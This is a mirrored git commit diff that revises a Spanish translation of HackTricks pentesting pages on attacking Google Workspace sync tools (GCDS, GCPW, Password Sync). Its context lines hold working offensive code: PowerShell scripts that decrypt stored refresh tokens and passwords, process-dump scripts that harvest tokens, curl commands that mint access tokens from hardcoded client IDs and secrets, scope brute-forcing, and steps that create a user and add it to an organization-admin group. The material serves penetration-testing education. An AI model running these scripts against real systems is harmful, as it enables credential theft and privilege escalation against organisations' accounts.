mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 06:42:39 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -4,12 +4,12 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Esta es una herramienta que se puede utilizar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
|
||||
Esta es una herramienta que se puede usar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
|
||||
|
||||
Es interesante porque es una herramienta que requerirá las **credenciales de un superusuario de Workspace y un usuario privilegiado de AD**. Por lo tanto, podría ser posible encontrarla dentro de un servidor de dominio que esté sincronizando usuarios de vez en cuando.
|
||||
|
||||
> [!NOTE]
|
||||
> Para realizar un **MitM** al binario **`config-manager.exe`**, simplemente agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Para realizar un **MitM** al binario **`config-manager.exe`**, solo agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GCDS**, obtener información sobre la configuración y **incluso las contraseñas y credenciales encriptadas**.
|
||||
@@ -20,7 +20,7 @@ También ten en cuenta que GCDS no sincronizará contraseñas de AD a Workspace.
|
||||
|
||||
### GCDS - Tokens de Disco y Credenciales de AD
|
||||
|
||||
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documents` del usuario o en **cualquier otra carpeta**.
|
||||
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documentos` del usuario o en **cualquier otra carpeta**.
|
||||
|
||||
Además, el registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro de la clave **`open.recent`** contiene las rutas a todos los archivos de configuración abiertos recientemente (xmls). Así que es posible **verificarlo para encontrarlos**.
|
||||
|
||||
@@ -49,12 +49,12 @@ La información más interesante dentro del archivo sería:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
Tenga en cuenta cómo el **refresh** **token** y la **contraseña** del usuario están **encriptados** utilizando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
|
||||
Tenga en cuenta cómo el **refresh** **token** y la **password** del usuario están **encrypted** utilizando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Script de Powershell para desencriptar el refresh token y la contraseña</summary>
|
||||
```powershell
|
||||
<summary>Script de Powershell para descifrar el refresh token y la password</summary>
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -150,7 +150,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** desde **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
|
||||
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** en **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
|
||||
|
||||
En lugar de usar el script de powershell, también es posible usar el binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con el parámetro `-exportKeys` y obtener la **Key** y **IV** del registro en hex y luego simplemente usar algún cyberchef con AES/CBC y esa clave e IV para descifrar la información.
|
||||
|
||||
@@ -162,7 +162,7 @@ Supongo que también podrías encontrar las credenciales configuradas de AD.
|
||||
<details>
|
||||
|
||||
<summary>Volcar procesos config-manager.exe y buscar tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
</details>
|
||||
|
||||
### GCDS - Generación de tokens de acceso a partir de tokens de actualización
|
||||
### GCDS - Generando tokens de acceso a partir de tokens de actualización
|
||||
|
||||
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
|
||||
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
|
||||
```
|
||||
</details>
|
||||
|
||||
Y esta es la salida que obtuve en el momento de la escritura:
|
||||
Y esta es la salida que obtuve en el momento de la redacción:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
#### Crear un usuario y agregarlo al grupo `gcp-organization-admins` para intentar escalar en GCP
|
||||
#### Crear un usuario y añadirlo al grupo `gcp-organization-admins` para intentar escalar en GCP
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
@@ -321,6 +321,6 @@ curl -X POST \
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
> [!CAUTION]
|
||||
> No es posible otorgar al nuevo usuario el rol de Super Amin porque el **token de actualización no tiene suficientes alcances** para otorgar los privilegios requeridos.
|
||||
> No es posible otorgar al nuevo usuario el rol de Super Admin porque el **token de actualización no tiene suficientes scopes** para otorgar los privilegios requeridos.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -33,12 +33,12 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
>
|
||||
> También configura en "Servicios y otros usuarios" ambas opciones e instala el certificado CA de Burp en Windows.
|
||||
|
||||
Además, al agregar las claves `enable_verbose_logging = 1` y `log_file_path = C:\Public\gcpw.log` en **`HKLM:\SOFTWARE\Google\GCPW`**, es posible hacer que almacene algunos registros.
|
||||
Además, al agregar las claves `enable_verbose_logging = 1` y `log_file_path = C:\Public\gcpw.log` en **`HKLM:\SOFTWARE\Google\GCPW`** es posible hacer que almacene algunos registros.
|
||||
|
||||
### GCPW - Huella digital
|
||||
|
||||
Es posible verificar si GCPW está instalado en un dispositivo comprobando si existe el siguiente proceso o si existen las siguientes claves de registro:
|
||||
```powershell
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -64,10 +64,10 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
```
|
||||
En **`HKCU:\SOFTWARE\Google\Accounts`** es posible acceder al correo electrónico del usuario y al **refresh token** encriptado si el usuario ha iniciado sesión recientemente.
|
||||
|
||||
En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios** que están permitidos para iniciar sesión en la clave `domains_allowed` y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, identificador de token...
|
||||
En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios** que están permitidos para iniciar sesión en la clave `domains_allowed` y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, manejador de token...
|
||||
|
||||
> [!NOTE]
|
||||
> El identificador de token es un token que comienza con `eth.` y del cual se puede extraer información con una solicitud como:
|
||||
> El manejador de token es un token que comienza con `eth.` y del cual se puede extraer información con una solicitud como:
|
||||
>
|
||||
> ```bash
|
||||
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
@@ -80,7 +80,7 @@ En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios**
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> También es posible encontrar el identificador de token de un token de acceso con una solicitud como:
|
||||
> También es posible encontrar el manejador de token de un token de acceso con una solicitud como:
|
||||
>
|
||||
> ```bash
|
||||
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
@@ -96,7 +96,7 @@ En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios**
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Hasta donde sé, no es posible obtener un refresh token o access token del identificador de token.
|
||||
> Hasta donde sé, no es posible obtener un refresh token o access token del manejador de token.
|
||||
|
||||
Además, el archivo **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** es un json que contiene la información de diferentes **configuraciones** como `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (si varios usuarios de Workspace pueden iniciar sesión en la computadora) y `validityPeriodDays` (número de días que un usuario no necesita volver a autenticarse directamente con Google).
|
||||
|
||||
@@ -109,7 +109,7 @@ Dentro del registro **`HKCU:\SOFTWARE\Google\Accounts`** podría ser posible enc
|
||||
<details>
|
||||
|
||||
<summary>Obtener <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> datos y desencriptar refresh_tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -167,7 +167,7 @@ Como se explica en [**este video**](https://www.youtube.com/watch?v=FEQxHRRP_5I)
|
||||
|
||||
### GCPW - Tokens de actualización de disco
|
||||
|
||||
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario como:
|
||||
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario, como:
|
||||
|
||||
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
@@ -185,7 +185,7 @@ El siguiente script se puede usar para **extraer** cada proceso de **Chrome** us
|
||||
<details>
|
||||
|
||||
<summary>Extraer procesos de Chrome y buscar tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -342,7 +342,7 @@ rm /tmp/valid_scopes.txt
|
||||
```
|
||||
</details>
|
||||
|
||||
Y este es el resultado que obtuve en el momento de la escritura:
|
||||
Y esta es la salida que obtuve en el momento de la escritura:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -378,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
</details>
|
||||
|
||||
Además, al revisar el código fuente de Chromium, es posible [**encontrar este archivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contiene **otros alcances** que se puede suponer que **no aparecen en la lista previamente forzada por fuerza bruta**. Por lo tanto, se pueden asumir estos alcances adicionales:
|
||||
Además, al revisar el código fuente de Chromium, es posible [**encontrar este archivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contiene **otros alcances** que se puede suponer que **no aparecen en la lista previamente forzada**. Por lo tanto, se pueden asumir estos alcances adicionales:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -461,14 +461,14 @@ https://www.googleapis.com/auth/wallet.chrome
|
||||
```
|
||||
</details>
|
||||
|
||||
Tenga en cuenta que el más interesante es posiblemente:
|
||||
Ten en cuenta que el más interesante posiblemente sea:
|
||||
```c
|
||||
// OAuth2 scope for access to all Google APIs.
|
||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||
```
|
||||
Sin embargo, intenté usar este alcance para acceder a gmail o listar grupos y no funcionó, así que no sé cuán útil sigue siendo.
|
||||
|
||||
**Obtén un token de acceso con todos esos alcances**:
|
||||
**Obtener un token de acceso con todos esos alcances**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -585,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
</details>
|
||||
|
||||
Algunos ejemplos utilizando algunos de esos alcances:
|
||||
Algunos ejemplos usando algunos de esos alcances:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
@@ -803,11 +803,11 @@ Luego busca el secreto como `Chrome-GCPW-<sid>` como en la imagen:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Luego, con un **access token** con el alcance `https://www.google.com/accounts/OAuthLogin`, es posible solicitar la clave privada para descifrar la contraseña:
|
||||
Luego, con un **token de acceso** con el alcance `https://www.google.com/accounts/OAuthLogin`, es posible solicitar la clave privada para descifrar la contraseña:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Script para obtener la contraseña en texto claro dado el access token, la contraseña encriptada y el id de recurso</summary>
|
||||
<summary>Script para obtener la contraseña en texto claro dado el token de acceso, la contraseña encriptada y el id de recurso</summary>
|
||||
```python
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
|
||||
@@ -27,7 +27,7 @@ Respecto al AD, es posible indicarle que use el **contexto de aplicaciones actua
|
||||
> [!TIP]
|
||||
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GPS**, obtener información sobre la configuración y **incluso desencriptar la contraseña y el token**.
|
||||
|
||||
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
|
||||
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración, como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
|
||||
|
||||
En el registro **`HKLM\Software\Google\Google Apps Password Sync`** es posible encontrar el **token de actualización encriptado** y la **contraseña encriptada** para el usuario de AD (si la hay). Además, si en lugar de un token, se utilizan algunas **credenciales de SA**, también es posible encontrar esas encriptadas en esa dirección del registro. Los **valores** dentro de este registro son solo **accesibles** por **Administradores**.
|
||||
|
||||
@@ -36,7 +36,7 @@ La **contraseña encriptada** (si la hay) está dentro de la clave **`ADPassword
|
||||
El token encriptado (si lo hay) está dentro de la clave **`AuthToken`** y está encriptado usando la API **`CryptProtectData`**. Para desencriptarlo, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta **entropía** al usar **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Además, también está codificado usando base32hex con el diccionario **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
|
||||
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio, y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -52,7 +52,7 @@ Supongo que también podrías encontrar las credenciales configuradas del AD.
|
||||
<details>
|
||||
|
||||
<summary>Volcar <code>PasswordSync.exe</code> y los procesos de <code>password_sync_service.exe</code> y buscar tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -129,7 +129,7 @@ Write-Output ""
|
||||
|
||||
### GPS - Generando tokens de acceso a partir de tokens de actualización
|
||||
|
||||
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
|
||||
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
@@ -137,7 +137,7 @@ curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.goo
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GPS - Alcances
|
||||
### GPS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los **alcances admitidos por la aplicación donde está generando el token de acceso**.
|
||||
@@ -148,7 +148,7 @@ Por defecto, GPS no tendrá acceso como el usuario a todos los posibles alcances
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Script Bash para fuerza bruta de alcances</summary>
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -172,11 +172,11 @@ rm /tmp/valid_scopes.txt
|
||||
```
|
||||
</details>
|
||||
|
||||
Y esta es la salida que obtuve en el momento de la redacción:
|
||||
Y esta es la salida que obtuve en el momento de la escritura:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
El mismo que obtienes si no indicas ningún alcance.
|
||||
¿Cuál es el mismo que obtienes si no indicas ningún alcance?
|
||||
|
||||
> [!CAUTION]
|
||||
> Con este alcance podrías **modificar la contraseña de un usuario existente para escalar privilegios**.
|
||||
|
||||
Reference in New Issue
Block a user